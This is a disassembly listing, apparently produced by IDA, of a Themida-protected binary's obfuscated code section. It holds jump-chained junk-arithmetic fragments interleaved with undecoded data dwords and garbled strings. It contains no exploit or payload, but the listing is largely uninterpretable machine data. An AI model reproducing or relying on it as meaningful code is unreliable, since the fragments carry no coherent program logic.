; ---------------------------------------------------------------------------
dw 0F66h
dd 776800B6h, 89000011h, 0EC81243Ch, 4, 24048F54h, 4240481h
dd 8B000000h, 0C481243Ch, 4, 4C781h, 0F9680000h, 0E900003Eh
dd 0FFFFCA60h, 3B85C281h, 0B1E9F7BFh
db 7Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E497: ; CODE XREF: Themida_:00564A09j
sub esi, 3E325D47h
add esi, eax
add esi, 3E325D47h
sub esi, 403643ECh
sub esi, 63610382h
jmp loc_55AFC8
; ---------------------------------------------------------------------------
dw 0C789h
dd 0FFC37FE9h, 405FFh, 4050000h, 0E9000000h, 5E89h, 4A97C581h
dd 5F5B3BE1h, 2D5DE829h, 7C2A001Fh, 57E2BF57h, 0E947097Ah
dd 0FFFFCA21h, 4246C01h, 19D6E9h, 24248900h, 4240483h
dd 0FF61ACE9h, 24048BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h
dd 6AE92414h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E517: ; CODE XREF: Themida_:0055AD4Aj
push 0C78h
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_558B03
; ---------------------------------------------------------------------------
dw 4B9h
dd 8116A552h, 0FFFFFFE9h, 0F18149FFh, 14F9119Dh, 8159CE21h
dd 0EC7D39F6h, 0D261E925h, 0EE88FFFFh, 0D0C68059h, 84D0E9h
dd 17E95500h
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E563: ; CODE XREF: Themida_:0055CD5Dj
push 6D5A2F1Fh
pop ecx
sub ecx, 6D5A2B23h
jmp loc_5674B3
; ---------------------------------------------------------------------------
aZsai db 'Zéai',0
align 2
dw 8956h
dd 4C681E6h, 52000000h, 7E3C87BAh, 0C1DAF727h, 0E3E908E2h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E593: ; CODE XREF: Themida_:00563E32j
sub ecx, 786A3F7Eh
push 4F0Ah
mov [esp], eax
mov eax, 1EE83CFFh
sub ecx, eax
pop eax
jmp loc_565FB5
; ---------------------------------------------------------------------------
dw 0EB81h
dd 52A468F0h, 538E959h, 895C0000h, 6F682404h, 89000016h
dd 4832424h, 34FF0424h, 24048B24h, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 505C243Ch, 2434FF54h, 1AE95558h, 81FFFF92h
dd 4C2h, 0E1895100h, 4C181h, 0B8E90000h, 89000015h, 45AE9FBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E60A: ; CODE XREF: Themida_:005653B9j
not ecx
add ecx, 0A3B48E97h
jmp loc_565D63
; ---------------------------------------------------------------------------
db 0BFh
dd 0D0E9844Bh, 6AE9FA31h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E623: ; CODE XREF: Themida_:005583EDj
mov edi, 4
jmp loc_564118
; ---------------------------------------------------------------------------
db 1, 0E8h, 8Bh
dd 0DEE9242Ch, 29FFFFDCh, 148B5FF9h, 4C48124h, 0E9000000h
dd 4CE1h, 2904C483h, 426859CEh, 89000064h, 1EBE2434h, 0C14ED803h
dd 0D68707EEh, 242C8752h, 33E9D5F7h
db 83h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E66B: ; CODE XREF: Themida_:0056109Dj
push ecx
mov cl, 0DFh
neg cl
xor cl, 9
add cl, 0DAh
xor dl, cl
pop ecx
add bl, dl
mov edx, [esp]
jmp loc_55695F
; ---------------------------------------------------------------------------
db 81h
dd 1004246Ch, 0E93B1729h, 0FFFFADC8h
; ---------------------------------------------------------------------------
loc_55E690: ; CODE XREF: Themida_:0055A2CFj
mov edi, 60E91819h
sub edi, 60E91815h
add ebx, 3CB5FA6h
add ebx, 470B2750h
add ebx, edi
jmp loc_564F58
; ---------------------------------------------------------------------------
loc_55E6AE: ; CODE XREF: Themida_:00558B0Bj
shl edx, 1
push edx
mov edx, 52617AF9h
add edx, 141E7BDAh
push ecx
jmp loc_555FE0
; ---------------------------------------------------------------------------
dw 0BEh
dd 29000000h, 0F4D0E9CEh, 48FFFFFh, 1C895C24h, 81E38924h
dd 4C3h, 7DB95100h, 4927C03Bh, 0FFDDCFE9h, 405FFh, 6E90000h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E6F3: ; CODE XREF: Themida_:00553FB1j
mov [esp], cx
sub esp, 4
mov [esp], eax
mov al, 0A3h
jmp loc_566DA5
; ---------------------------------------------------------------------------
dd 7F685356h, 89000027h, 88BA2414h, 816C4367h, 0EB01CFE2h
dd 70EA8116h, 89BDEDC6h, 0E9535AD3h, 0FFFFCCBAh, 71A1E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E72E: ; CODE XREF: Themida_:005678DBj
dec ebp
sub ebp, 2BC2453Ah
mov edx, ebp
mov ebp, [esp]
add esp, 4
dec edx
dec edx
sub edx, 180F0264h
push esi
sub esp, 4
jmp loc_558E3E
; ---------------------------------------------------------------------------
dd 6C4EF781h, 0C58121BDh, 3D395F17h, 0EC83FD01h, 241C8904h
dd 0B60077BBh, 7DE94362h
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E773: ; CODE XREF: Themida_:00557B34j
mov [esp], esi
push 0BD7h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_560E18
; ---------------------------------------------------------------------------
db 5Fh, 89h, 0D1h
dd 8BCA015Ah, 0C481240Ch, 4, 0BF7C281h, 5CE91390h, 56000083h
dd 0E951E689h, 0FFFF7344h, 5AD6315Dh, 348BF309h, 4C48124h
dd 81000000h, 0BF1739CBh, 29EB8173h, 14ACFACh, 7C08E9D8h
dd 34FFFFFFh, 24048B24h, 0E904C483h, 0FFFFA2AFh, 196394BBh
dd 5E3C14Fh, 817BE956h, 525E0000h, 0C719F9BAh, 7E2C125h
dd 8104E2C1h, 0D39B5CAh, 4FC2812Fh, 29C03006h, 515AE9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E80E: ; CODE XREF: Themida_:0055B667j
sub ebx, edi
pop edi
pop edi
sub ebx, 4
jmp loc_557B2E
; ---------------------------------------------------------------------------
loc_55E81A: ; CODE XREF: Themida_:0055486Cj
pop ebx
sub al, ch
pop ecx
jmp loc_565C1A
; ---------------------------------------------------------------------------
db 89h
dd 8B542434h, 0EC812434h, 4, 89243C89h, 52E7E9E7h, 48BEFFFFh
dd 0E9287C64h, 0FFFFD199h, 0FA79C581h, 0E8894F86h, 0E957555Dh
dd 18C9h, 0F705E3C1h, 0EC61E9DBh, 5559FFFFh, 40685D54h
dd 0E9000015h, 0FFFFAB33h, 81DEF759h, 765BBAEEh, 5EF20112h
dd 815AD131h, 0EF64A4E9h, 8E9C11Dh, 7676E981h, 0F1810908h
dd 0B6775321h, 8904EC83h, 96BE2434h, 0F778D575h, 0BFEE81D6h
dd 1C890EAh, 30E95EF1h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E8AB: ; CODE XREF: Themida_:0055E386j
pop ebx
sub edx, ebp
pop ebp
jmp loc_552C38
; ---------------------------------------------------------------------------
dd 405E089h, 5000000h, 4, 31240433h, 4332404h, 24248B24h
dd 515AD331h, 0C181E189h, 4, 8704E983h, 895C240Ch, 2CE92404h
dd 0F6000087h, 0AF780D7h, 0B4E9F800h, 87FFFFECh, 0F75C2414h
dd 0E1C7E9DAh, 35E9FFFFh, 0B9FFFF43h, 6D5B2BE6h, 6F38C281h
dd 0CA2901ACh, 5F65B951h, 0D1F777CCh, 0E1C1D9F7h, 38F18107h
dd 29E783DCh, 15959CAh, 86D0E9F2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E92E: ; CODE XREF: Themida_:005627F1j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5657F3
; ---------------------------------------------------------------------------
db 4Bh
dd 73FBBA52h, 0EAC13DA9h, 2046E908h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E94E: ; CODE XREF: Themida_:00564A17j
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_555015
; ---------------------------------------------------------------------------
dw 0ED83h
dd 242C8704h, 240C895Ch, 240C8B54h, 8104C483h, 4C1h, 1BB85000h
dd 0D400902h, 4F054DE7h, 0D0F7D8F7h, 0BD6F5C05h, 4424054Bh
dd 740D6F6Ah, 0E9765B24h, 0FFFF7996h, 0FF429FE9h, 243C8BFFh
dd 8104C483h, 5B4E59E2h, 9EF2814Bh, 8114DF54h, 0CC56CBF2h
dd 8BB9511Fh, 0E943E208h, 6773h, 45BD988h, 2CC800C3h, 0C38859C3h
dd 3EB16858h, 4890000h, 0CDB424h, 0EB8058E3h, 81E3D001h
dd 4ECh, 24148900h, 0EB8059B2h, 0E9D300CAh, 0FFFFBC81h
; ---------------------------------------------------------------------------
loc_55E9F0: ; CODE XREF: Themida_:0055FF37j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_563CC6
; ---------------------------------------------------------------------------
loc_55E9FF: ; CODE XREF: Themida_:00563165j
pop esi
shl edx, 7
and edx, 1C305325h
add edx, 1A0A0402h
jmp loc_5641CA
; ---------------------------------------------------------------------------
dd 490CE981h, 875E601Ch, 835C240Ch, 3C8904ECh, 1BD36824h
dd 8F540000h, 4812404h, 424h, 0A4E95F00h, 51000011h, 729D4B9h
dd 0E9CE29EAh, 762Fh, 5C240C87h, 0AEEE9h, 1C895C00h, 7C7E6824h
dd 0F75B4A00h, 0E95155D3h, 0FFFF76C3h, 0BF57565Fh, 1F027EC1h
dd 0A387C781h, 0FE89F548h, 8222E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EA7A: ; CODE XREF: Themida_:0055484Fj
add ecx, 4
push 4BA5h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
push ecx
push 1249h
jmp loc_564F69
; ---------------------------------------------------------------------------
dw 0C14Ah
dd 835108EAh, 3C8904ECh, 64BD5524h, 0BF24BE7Ch, 0AD3B5976h
dd 0FFDD84E9h, 4C481FFh, 33000000h, 3C31243Ch, 243C3324h
dd 8924248Bh, 0EC832424h, 5FE8E904h, 0E95FFFFFh, 40C8h
dd 525052ACh, 0F68072B6h, 5AF4888Ch, 88E18851h, 4F17E9CAh
dd 1C87FFFFh, 0B89AE924h, 8B66FFFFh, 0CEE92404h, 81FFFFB1h
dd 0F950B8C7h, 81D70127h, 0F950B8EFh, 0CF815A27h, 3C297605h
dd 0E7C1D7F7h, 7EBD5507h, 4540B73Ah, 5584BB53h, 0DD092872h
dd 71E9565Bh, 89FFFF6Ah, 21E9241Ch, 5CFFFFDDh, 0FF5B01E9h
dd 64F480FFh, 0F480C4FEh, 58E630CAh, 88F58851h, 2E959EFh
dd 81FFFF83h, 0F20E51E6h, 7DECE942h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB62: ; CODE XREF: Themida_:0055B53Ej
pop ecx
push eax
jmp loc_553D60
; ---------------------------------------------------------------------------
db 89h, 0DAh, 8Bh
dd 0C481241Ch, 4, 0FF60B0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EB79: ; CODE XREF: Themida_:0056434Aj
mov [esp], edx
jmp loc_559558
; ---------------------------------------------------------------------------
db 81h, 0C5h, 8
dd 4535CA29h, 0B5E9D5F7h, 28FFFF79h, 0B75352F9h, 40B6FBh
dd 0F1005BFEh, 2434FF5Ah, 4C4835Bh, 0FF9899E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EBA9: ; CODE XREF: Themida_:00555938j
xor esi, 4CC94708h
sub ebx, esi
pop esi
jmp loc_563A9D
; ---------------------------------------------------------------------------
db 0BBh
dd 5018733Bh, 5B5BD829h, 8904EC83h, 0CC682434h, 8B7A79D4h
dd 0F0682434h, 89000056h, 0E389241Ch, 1753E9h, 5F00100h
dd 2C307354h, 275AE9h, 289CB000h, 805866C3h, 96E903C3h
db 48h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EBF7: ; CODE XREF: Themida_:00564878j
xor ebx, 507B0B9Ah
jmp loc_5592BE
; ---------------------------------------------------------------------------
dw 5A54h
dd 4C281h, 0C2830000h, 24148704h, 0F7D1F75Ch, 92E952D9h
dd 66FFFFDBh, 5724048Bh, 0EC83E789h, 242C8904h, 4BDh, 8BEF0100h
dd 0C481242Ch, 4, 4EF81h, 3C870000h, 34895C24h, 348B5424h
dd 4C48124h, 57000000h, 0BE56E789h, 263E79B6h, 0F681D6F7h
dd 343364B5h, 5D3DE9h, 24148700h, 0E9E6E95Ch, 8958FFFFh
dd 241C8BDFh, 8104C483h, 272633F7h, 8BFE0118h, 0EC83243Ch
dd 0C747E904h, 0C33FFFFh, 97E95C24h
db 1Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EC93: ; CODE XREF: Themida_:00558861j
sub esi, ebp
pop ebp
and eax, esi
mov esi, [esp]
add esp, 4
jmp loc_567B6A
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 51242C89h, 0C181E189h, 4, 73ACE9h, 875C8800h, 34FF5B01h
dd 70685924h, 89000042h, 0E2892414h, 0FFCF56E9h, 242C89FFh
dd 48CA68h, 24248900h, 4240481h, 8B000000h, 0C483242Ch
dd 4EAD6804h, 0C890000h, 4A43B924h, 0E1C10A76h, 3E1C102h
dd 485CE981h, 0CD014EC9h, 0E9240C8Bh, 5810h, 0E2815892h
dd 7750464Eh, 0FFD837E9h, 0DA8852FFh, 0E9D58851h, 0FFFF4E7Eh
dd 8B24048Fh, 0C80F2424h, 124668h, 24048900h, 0FF3EFBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ED3D: ; CODE XREF: Themida_:00566D57j
push 13CBh
mov [esp], edi
jmp loc_5647AB
; ---------------------------------------------------------------------------
dw 8966h
dd 29665DE9h, 665966CEh, 2005665Fh, 0F001665Bh, 0FFE797E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ED61: ; CODE XREF: Themida_:0055F733j
pop ebx
jmp loc_553758
; ---------------------------------------------------------------------------
db 29h
dd 0FEE95AD0h
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ED6F: ; CODE XREF: Themida_:0055E33Cj
add esp, 4
push ebx
push 203E519Eh
mov ebx, [esp]
add esp, 4
add ebx, 2CF1AF7h
jmp loc_55F66F
; ---------------------------------------------------------------------------
dd 4C481h, 6D680000h, 8900006Ah, 4BBB241Ch, 10A0642h, 241C8BDAh
dd 8104C483h, 155C82EAh, 81CA015Fh, 155C82C2h, 0B3BF575Fh
dd 57764C47h, 0E92414F7h, 0FFFFBA15h, 0D106E6C1h, 130D68EEh
dd 1C890000h, 542FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EDD6: ; CODE XREF: Themida_:0055CADBj
pop ax
add bl, 0C9h
jmp loc_5653E3
; ---------------------------------------------------------------------------
aSusu2 db 'SUéî2',0
dw 8300h
dd 148904ECh, 4A2EBA24h, 81423402h, 9676B8E2h, 4B684A30h
dd 89000001h, 21BE2434h, 0E9673A28h, 58D5h, 582434FFh
dd 904EE9h, 0EDC15E00h, 0E2B85003h, 0F751B739h, 4D0425D8h
dd 0E52D0074h, 57782C05h, 3BF0E9h, 240C8B00h, 4C481h, 68510000h
dd 37Fh, 0FB7E9h, 5DE28100h, 0D14F975Ah, 0C4E957E2h, 89FFFFF7h
dd 4BD242Ch, 81000000h, 8129AC2h, 81EA0170h, 8129AEAh
dd 0BE95D70h, 8100008Fh, 4ECh, 24148900h, 4BAh, 5AD50100h
dd 2474FF55h, 345DE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EE8A: ; CODE XREF: Themida_:00554087j
xor eax, [esp]
xor [esp], eax
push eax
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
push edx
push edi
jmp loc_557147
; ---------------------------------------------------------------------------
db 33h, 14h, 24h
dd 3124248Bh, 0E99C2404h, 0FFFF3D80h, 24048B66h, 56CB68h
dd 24048900h, 510AE9h
db 0
; ---------------------------------------------------------------------------
loc_55EEC9: ; CODE XREF: Themida_:00565F05j
mov ecx, 312C3A4Eh
add ecx, 0FFFFFFFFh
shr ecx, 6
neg ecx
shr ecx, 7
jmp loc_5590BB
; ---------------------------------------------------------------------------
db 1, 2 dup(0E9h)
dd 0FFFFCC1Bh
; ---------------------------------------------------------------------------
loc_55EEE8: ; CODE XREF: Themida_:0055649Bj
xor esi, 6E8551D3h
jmp loc_55DF23
; ---------------------------------------------------------------------------
db 0BDh
dd 25433962h, 30DE9h
db 0
; ---------------------------------------------------------------------------
loc_55EEFD: ; CODE XREF: Themida_:0055A70Dj
push ecx
mov ecx, 7B5B6C02h
not ecx
push esi
mov esi, 0
sub esi, 77D62B8h
sub esi, ecx
jmp loc_561F4F
; ---------------------------------------------------------------------------
dd 5C24048Fh, 9C2404D3h, 0FF3D13E9h, 68D2F7FFh, 545h, 51242C89h
dd 60896852h, 0E95A49B3h, 0FFFF9712h, 68h, 243C2900h, 6E7C15Fh
dd 39EAEF81h, 8157A986h, 93242Ch, 0EAE92A6Fh
db 28h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EF5B: ; CODE XREF: Themida_:00562CF9j
mov edx, ebx
pop ebx
add edx, 608A67A1h
jmp loc_55AD4F
; ---------------------------------------------------------------------------
db 0ACh, 30h, 0D8h
dd 5E08950h, 4, 42Dh, 24048700h, 243C895Ch, 68CC68h, 24248900h
dd 4240481h, 0E9000000h, 0FFFFADA9h, 92BE565Dh, 9791352h
dd 0FE73E9F5h, 248BFFFFh, 4B95124h, 0E9000000h, 0FFFFB5CFh
dd 5C24048Fh, 50242C89h, 405E089h, 83000000h, 43304E8h
dd 24043124h, 5C240433h, 0E9241C89h, 8B47h, 0D9CBA52h
dd 0BE566891h, 2DFD5451h, 6FB7EE81h, 0DEF74EF5h, 0FF5049E9h
dd 3E1C1FFh, 4583BF57h, 0E7C11C10h, 4EFC105h, 20ACC781h
dd 0E8E950FFh, 81000012h, 0ED231BCAh, 0EA814A23h, 0D53A8E38h
dd 0FFDD49E9h, 34335FFFh, 61B4E924h, 0C3810000h, 323D2CE5h
dd 6AD0E9h, 0C5815A00h, 6EDA18E9h, 2651C581h, 0EB29A1BAh
dd 4EC815Dh, 89000000h, 0EAE9240Ch
db 94h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F04B: ; CODE XREF: Themida_:005640C5j
mov ebx, 616D60AAh
shr ebx, 4
sub ebx, 7F0439Eh
sub ebx, 4D734036h
jmp loc_561377
; ---------------------------------------------------------------------------
dd 0F6C18141h, 811DF0F7h, 6C2355EBh, 81CB016Ch, 6C2355C3h
dd 0FB01596Ch, 3BEB81h, 0C3813A12h, 3B054D01h, 4EC815Fh
dd 89000000h, 74FF241Ch, 8F5B0424h, 0D25C2404h, 0E99C2404h
dd 0FFFF3B94h, 5F93685Dh, 0C890000h, 4BA5224h, 89000000h
dd 0C3815AD1h, 52A468F0h, 0EBE9CB01h, 8BFFFFF4h, 0C483240Ch
dd 48C7E904h, 0D6010000h, 8324148Bh, 348704C4h, 24248B24h
dd 0B60FC330h, 5DF9E9C0h, 0C483FFFFh, 1DEFE904h, 0E9550000h
dd 0FFFFCC10h
; ---------------------------------------------------------------------------
loc_55F0F4: ; CODE XREF: Themida_:00561D08j
pop edx
jmp loc_564CD2
; ---------------------------------------------------------------------------
loc_55F0FA: ; CODE XREF: Themida_:0056356Aj
xor ebx, 5F6233D6h
sub ebx, 7FDB1183h
add ebx, 2A26CD0Eh
sub ebp, ebx
pop ebx
add ebp, ebx
add ebp, 181706F2h
push dword ptr [esp]
pop ebx
jmp loc_555141
; ---------------------------------------------------------------------------
dd 245C2959h, 34FF5B04h, 0C4835824h, 0F5D2E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F132: ; CODE XREF: Themida_:005566B5j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_567F40
; ---------------------------------------------------------------------------
db 29h
dd 54C381F3h, 5E5ED231h, 1E4DEF81h, 0DF297348h, 3A9EE9h
db 0
; ---------------------------------------------------------------------------
loc_55F161: ; CODE XREF: Themida_:0055ACD9j
mov [esp], edx
mov edx, 2201DB1h
or edx, 7DBC70B3h
jmp loc_5570E9
; ---------------------------------------------------------------------------
dd 77C181h, 0E981398Bh, 5AC3701Eh, 0FFD837E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F185: ; CODE XREF: Themida_:0055C5C6j
xchg ecx, [esp]
pop esp
add edx, 32754996h
add edx, ebp
sub edx, 32754996h
pop ebp
jmp loc_55BC3C
; ---------------------------------------------------------------------------
loc_55F19D: ; CODE XREF: Themida_:0055F368j
pop ecx
sub esp, 4
mov [esp], edi
push ecx
mov edi, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push edi
mov edi, esp
sub esp, 4
mov [esp], ebp
mov ebp, 4
jmp loc_5611F8
; ---------------------------------------------------------------------------
db 89h
dd 0B0E9240Ch, 0F7FFFF69h, 0BF5746D6h, 0FFFFFFFFh, 815FFE29h
dd 0D03FCCCEh, 384DE97Bh, 0CD810000h, 1AA7382Bh, 5DC568h
dd 5DD0E900h, 1EB80000h, 0C131120Ah, 8DE904E0h, 81000058h
dd 0CA175FEAh, 83FFE96Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F232: ; CODE XREF: Themida_:0055B33Bj
push ebp
jmp loc_55E44A
; ---------------------------------------------------------------------------
dd 2E5C159h, 0F581D5F7h, 65B06DCh, 60F5814Dh, 0E94E3BCCh
dd 8C3Bh
; ---------------------------------------------------------------------------
loc_55F250: ; CODE XREF: Themida_:005543E0j
and bh, 92h
sub bh, 1
sub bh, 83h
jmp loc_5564C3
; ---------------------------------------------------------------------------
dw 3D05h
dd 2D327C18h, 244906F9h, 8324348Bh, 0E36804C4h, 89000023h
dd 8EB9240Ch, 0E951DA73h, 0FFFFA31Fh
; ---------------------------------------------------------------------------
loc_55F280: ; CODE XREF: Themida_:0055ADB8j
push ebx
push 36A3h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edi
jmp loc_556F58
; ---------------------------------------------------------------------------
dd 7906EE81h, 0D6011B97h, 7906C681h, 0C6811B97h, 2B846026h
dd 4EC835Ah, 81241C89h, 4ECh, 242C8900h, 268h, 673AE900h
dd 0E7890000h, 4C781h, 0C7830000h, 243C8704h, 5224248Bh
dd 6A2CE954h, 0F229FFFFh, 2434FF5Eh, 4C4835Eh, 0FFD7D2E9h
dd 0BD555BFFh, 327A7A92h, 0FF5491E9h, 1C77FFFFh, 6659669Dh
dd 9C2414D3h, 0FF3933E9h, 242C89FFh, 0CD33B3BDh, 4EC812Ah
dd 89000000h, 0E989240Ch, 0C8BCB89h, 4C48324h, 5D2434FFh
dd 4C481h, 6CE90000h, 8900003Ah, 4EC81E1h, 89000000h, 4BB241Ch
dd 52000000h, 0F9123ABAh, 5AD10175h, 61BEBE56h, 0EE813817h
dd 69205A1Ch, 0CE81D6F7h, 57436389h, 0E906EEC1h, 0FFFF9FCAh
; ---------------------------------------------------------------------------
loc_55F364: ; CODE XREF: Themida_:0055C486j
push ecx
not dword ptr [esp]
jmp loc_55F19D
; ---------------------------------------------------------------------------
db 5Dh, 87h, 4
dd 4215C24h, 9DE99C24h, 0FFFFFFADh, 5A042474h, 0FF9FBFE9h
dd 1B2D68FFh, 0EAE90000h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F38F: ; CODE XREF: Themida_:00553753j
mov [esp], edx
mov dh, 7Ah
inc dh
sub dh, 0E7h
jmp loc_55AEB6
; ---------------------------------------------------------------------------
dw 159h
dd 0DF8E9EAh, 815E0000h, 4C6h, 4BF5700h, 29000000h, 0FF565FFEh
dd 5E042474h, 5C24048Fh, 50243C89h, 468h, 24048B00h, 4C481h
dd 0E9500000h, 0FFFFC065h, 272A4D68h, 0E789E903h, 685DFFFFh
dd 0B8Eh, 0FF243489h, 34FF2434h, 0E95F24h, 89FFFF74h, 0BA522404h
dd 45D17053h, 45B2CA81h, 0BF573E5Fh, 50383688h, 47DFF747h
dd 3544E9h, 240C8900h, 0C181E189h, 4, 0FF7312E9h, 15B951FFh
dd 0B85BB67Ch, 69BDDA84h, 559C829h, 6DFE0532h, 2958C501h
dd 242C8BEFh, 4C481h, 834F0000h, 0F79701EFh, 515097D0h
dd 0E45400B9h, 59C88970h, 8158C731h, 0B35354CFh, 0E25DE942h
dd 0E981FFFFh, 0BCFBD245h, 4EDEE9h, 397D2D00h, 0EB815E47h
dd 546A558Fh, 0C381C329h, 546A558Fh, 0FF6BC4E9h, 66EC08FFh
dd 7E4C059h, 2EC81h, 53E90000h, 0F7FFFFDBh, 0F5EA81DAh
dd 5339DFECh, 0A5E95B54h, 8FFFFF9Dh, 248B2404h, 24042924h
dd 377EE99Ch, 0E789FFFFh, 4C781h, 39680000h, 8900004Dh
dd 4BA2414h, 29000000h, 3C335AD7h, 243C3124h, 0E9243C33h
dd 0FFFF7177h, 0FED0B353h, 31F380CBh, 0FFB1A8E9h, 4EA81FFh
dd 87000000h, 895C2414h, 4682414h, 0FF000000h, 835A2434h
dd 590504C4h, 29601264h, 64592DD0h, 148B6012h, 0E875E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F51A: ; CODE XREF: Themida_:005622B4j
mov ebp, 3A0071E4h
add eax, 0A2E7279h
sub eax, ebp
jmp loc_56001E
; ---------------------------------------------------------------------------
loc_55F52B: ; CODE XREF: Themida_:0055B7EDj
pop ecx
mov edi, edx
pop edx
add edi, 0F901A07Bh
xor eax, edi
pop edi
mov ebx, eax
jmp loc_5638C1
; ---------------------------------------------------------------------------
db 56h
dd 7CAC6853h, 4B5B4677h, 1D40E381h, 0D3F76E43h, 41C9E381h
dd 0EB8102DBh, 0CA6D2489h, 0FFA257E9h, 2434FFFFh, 5724148Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 0E9505C24h, 1FBFh
dd 815DEA01h, 4ECh, 242C8900h, 520FB951h, 0CD8956B0h, 0FFFE05E9h
dd 20478FFFh, 7B204781h, 0FF216C19h, 0E95A2434h, 3173h
dd 242C895Ch, 39B168h, 2799E900h, 0EA810000h, 2FF3502Dh
dd 0BF57F229h, 2FF3502Dh, 5E5FFA01h, 11FFC281h, 0FA0128A5h
dd 11FFB951h, 0CA2928A5h, 2EB9E959h, 0B9510000h, 1B0E47C1h
dd 0B841C181h, 0CF01E4F1h, 2A3EE9h, 0EBBA5200h, 5768913Dh
dd 0FFE008E9h, 0E4BF57FFh, 81184656h, 637561CFh, 0FFC78115h
dd 8154DF7Ch, 53BFB4EFh, 8BFB8928h, 0C483243Ch, 6EBC104h
dd 8108EBC1h, 4ECh, 240C8900h, 6B226855h, 4890000h, 51A3B824h
dd 2B0D15B2h, 0E92A4A0Bh, 26C5h, 8124048Bh, 4C4h, 58E95600h
dd 81FFFFB6h, 4C1h, 89DFE900h, 0CB010000h, 7D36EB81h, 0A3E97391h
db 87h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F66F: ; CODE XREF: Themida_:0055ED87j
sub ebp, 1B373315h
sub ebp, ebx
add ebp, 1B373315h
pop ebx
shl ebp, 8
shr ebp, 7
jmp loc_55517C
; ---------------------------------------------------------------------------
db 0ADh, 53h, 0BBh
dd 2CF33DBFh, 748BC381h, 0B8500A54h, 78347BF0h, 0E958C309h
dd 25A9h, 148BD101h, 4C48124h, 51000000h, 42474FFh, 24048F59h
dd 8F24248Bh, 0CBE92404h, 66FFFFD8h, 83240C8Bh, 2C8904ECh
dd 81E58924h, 4C5h, 0E3895300h, 0FF546EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F6DD: ; CODE XREF: Themida_:0055959Aj
add esi, 8EBCAF44h
add ebx, esi
pop esi
push 6674h
mov [esp], ecx
mov ecx, 4
sub ebx, 2503049Ah
add ebx, ecx
jmp loc_555D2F
; ---------------------------------------------------------------------------
dd 0A1B35352h, 0FF7B6EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F709: ; CODE XREF: Themida_:00559FA0j
sub edx, ebx
pop ebx
sub edx, 1EA06B9h
and edx, 1EC740FBh
not edx
xor edx, 0ED39BF62h
jmp loc_5618AB
; ---------------------------------------------------------------------------
loc_55F725: ; CODE XREF: Themida_:00554812j
xchg esi, [esp]
mov esp, [esp]
add al, ch
mov cx, [esp]
push ebx
push esp
jmp loc_55ED61
; ---------------------------------------------------------------------------
aTs1 db 'Té1[',0
align 2
loc_55F73E: ; CODE XREF: Themida_:005591AEj
sub esi, 2C5D6F3Fh
mov edx, [esp]
add esp, 4
jmp loc_567FF2
; ---------------------------------------------------------------------------
dw 0C681h
dd 3BF62E6Eh, 0DA31E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F75E: ; CODE XREF: Themida_:0055B751j
pop ebp
add esp, 4
push 501Ah
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
push ebx
push ebp
mov ebp, 47A51131h
mov ebx, ebp
pop ebp
inc ebx
jmp loc_56569D
; ---------------------------------------------------------------------------
aTyhg db 'TYhƒ<',0
align 2
dw 1C89h
dd 4685724h, 5F000000h, 15FFB89h, 0EC815BD9h, 4, 51241489h
dd 87369CB9h, 0C1F1816Ah, 506A3068h, 0E38EE951h, 79E9FFFFh
dd 81FFFF34h, 0FBAFB0E9h, 0E9CD8946h, 0FFFF6AC9h
